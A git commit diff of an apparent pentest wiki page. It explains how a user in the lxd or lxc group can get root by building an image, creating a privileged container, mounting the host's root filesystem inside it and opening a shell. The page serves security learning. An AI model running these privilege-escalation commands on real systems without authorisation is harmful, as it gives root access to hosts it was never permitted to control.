GitBook: [master] one page modified
This commit is contained in:
parent
c36d57820d
commit
8aa743edcc
|
@ -6,12 +6,12 @@ If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
|
|||
|
||||
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
|
||||
|
||||
```text
|
||||
```bash
|
||||
#Install requirements
|
||||
sudo apt update
|
||||
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
|
||||
#Clone repo
|
||||
go get -d -v github.com/lxc/distrobuilder/distrobuilder
|
||||
go get -d -v github.com/lxc/distrobuilder
|
||||
#Make distrobuilder
|
||||
cd $HOME/go/src/github.com/lxc/distrobuilder
|
||||
make
|
||||
|
@ -28,14 +28,14 @@ Then, upload to the server the files **lxd.tar.xz** and **rootfs.squashfs**
|
|||
|
||||
Add the image:
|
||||
|
||||
```text
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
lxc image list #You can see your new imported image
|
||||
```
|
||||
|
||||
Create a container and add root path
|
||||
|
||||
```text
|
||||
```bash
|
||||
lxc init alpine privesc -c security.privileged=true
|
||||
lxc list #List containers
|
||||
|
||||
|
@ -44,27 +44,25 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t
|
|||
|
||||
Execute the container:
|
||||
|
||||
```text
|
||||
```bash
|
||||
lxc start privesc
|
||||
lxc exec privesc /bin/sh
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
|
||||
## With internet
|
||||
|
||||
You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
|
||||
|
||||
```text
|
||||
```bash
|
||||
lxc init ubuntu:16.04 test -c security.privileged=true
|
||||
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
||||
lxc start test
|
||||
lxc exec test bash
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
|
||||
## Other Refs
|
||||
|
||||
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
|
||||
|
||||
|
||||
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
|
||||
|
||||
|
|
Loading…
Reference in New Issue